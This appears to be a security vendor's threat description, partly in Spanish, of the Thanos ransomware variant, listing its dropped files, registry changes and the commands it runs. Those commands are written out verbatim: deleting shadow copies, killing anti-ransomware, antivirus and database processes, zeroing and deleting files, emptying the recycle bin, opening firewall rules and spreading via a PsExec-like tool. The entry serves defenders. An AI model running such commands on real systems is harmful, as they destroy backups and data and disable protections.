Ransom.MSIL.THANOS.SM

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

• %User Temp%\{random characters}.exe
• %User Startup%\reload1.lnk

(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).

Agrega los procesos siguientes:

• "taskkill" /F /IM RaccineSettings.exe
• "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
• "reg" delete HKCU\Software\Raccine /F
• "schtasks" /DELETE /TN "Raccine Rules Updater" /F
• "sc.exe" config Dnscache start= auto
• "sc.exe" config SQLTELEMETRY start= disabled
• "sc.exe" config FDResPub start= auto
• "sc.exe" config SSDPSRV start= auto
• "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
• "sc.exe" config SstpSvc start= disabled
• "sc.exe" config upnphost start= auto
• "sc.exe" config SQLWriter start= disabled
• "taskkill.exe" /IM mspub.exe /F
• "taskkill.exe" /IM synctime.exe /F
• "taskkill.exe" /IM mspub.exe /F
• "taskkill.exe" /IM mydesktopqos.exe /F
• "taskkill.exe" /IM mysqld.exe /F
• "taskkill.exe" /IM Ntrtscan.exe /F
• "taskkill.exe" /IM mydesktopservice.exe /F
• "taskkill.exe" /IM sqbcoreservice.exe /F
• "taskkill.exe" /IM firefoxconfig.exe /F
• "taskkill.exe" /IM isqlplussvc.exe /F
• "taskkill.exe" /IM encsvc.exe /F
• "taskkill.exe" /IM agntsvc.exe /F
• "taskkill.exe" /IM onenote.exe /F
• "taskkill.exe" /IM tbirdconfig.exe /F
• "taskkill.exe" /IM excel.exe /F
• "taskkill.exe" /IM thebat.exe /F
• "taskkill.exe" /IM CNTAoSMgr.exe /F
• "taskkill.exe" /IM PccNTMon.exe /F
• "taskkill.exe" /IM dbeng50.exe /F
• "taskkill.exe" /IM msaccess.exe /F
• "taskkill.exe" /IM steam.exe /F
• "taskkill.exe" /IM sqlwriter.exe /F
• "taskkill.exe" /IM thebat64.exe /F
• "taskkill.exe" /IM outlook.exe /F
• "taskkill.exe" /IM ocomm.exe /F
• "taskkill.exe" /IM tmlisten.exe /F
• "taskkill.exe" /IM wordpad.exe /F
• "taskkill.exe" /IM oracle.exe /F
• "taskkill.exe" /IM msftesql.exe /F
• "taskkill.exe" /IM infopath.exe /F
• "taskkill.exe" /IM mysqld-opt.exe /F
• "taskkill.exe" /IM powerpnt.exe /F
• "taskkill.exe" /IM sqlagent.exe /F
• "taskkill.exe" /IM mbamtray.exe /F
• "taskkill.exe" /IM sqlbrowser.exe /F
• "taskkill.exe" /IM ocautoupds.exe /F
• "taskkill.exe" /IM mydesktopqos.exe /F
• "taskkill.exe" /IM zoolz.exe /F
• "taskkill.exe" /IM sqlservr.exe /F
• "taskkill.exe" /IM ocssd.exe /F
• "taskkill.exe" IM thunderbird.exe /F
• "taskkill.exe" /IM visio.exe /F
• "taskkill.exe" /IM dbsnmp.exe /F
• "taskkill.exe" /IM mydesktopservice.exe /F
• "taskkill.exe" /IM xfssvccon.exe /F
• "taskkill.exe" /IM winword.exe /F
• "taskkill.exe" /IM mysqld-nt.exe /F
• "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete() }
• "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
• "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
• "arp" -a
• "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
• ping 127.0.0.7 -n 3
• "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
• "%System%\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "{Malware path and name}
• "%System%\notepad.exe" %Desktop%\RESTORE_FILES_INFO.txt
• "%User Temp%\{random characters}.exe" \{local IP address} -d -h -s -f -accepteula -nobanner -c "{Malware path and name}"

(Nota: %System% es la carpeta del sistema de Windows, que en el caso de Windows 98 y ME suele estar en C:\Windows\System, en el caso de Windows NT y 2000 en C:\WINNT\System32 y en el caso de Windows 2000(32-bit), XP, Server 2003(32-bit), Vista, 7, 8, 8.1, 2008(64-bit), 2012(64bit) y 10(64-bit) en C:\Windows\System32).

Otras modificaciones del sistema

Agrega las siguientes entradas de registro:

HKEY_CURRENT_USER\Software\KEYID\
myKeyID
ID1 = {string}

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Winlogon
LegalNoticeCaption = YOUR COMPANY IS HACKED AND COMPROMISED

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
legalnoticecaption = YOUR COMPANY IS HACKED AND COMPROMISED

HKEY_CURRENT_USER\Software\Sysinternals\
PsExec
EulaAccepted = 1

Otros detalles

Agrega las siguientes entradas de registro como parte de la rutina de instalación:

HKEY_CURRENT_USER\Software\KEYID

HKEY_CURRENT_USER\Software\Sysinternals\
PsExec

HKEY_CURRENT_USER\Software\KEYID\
myKeyID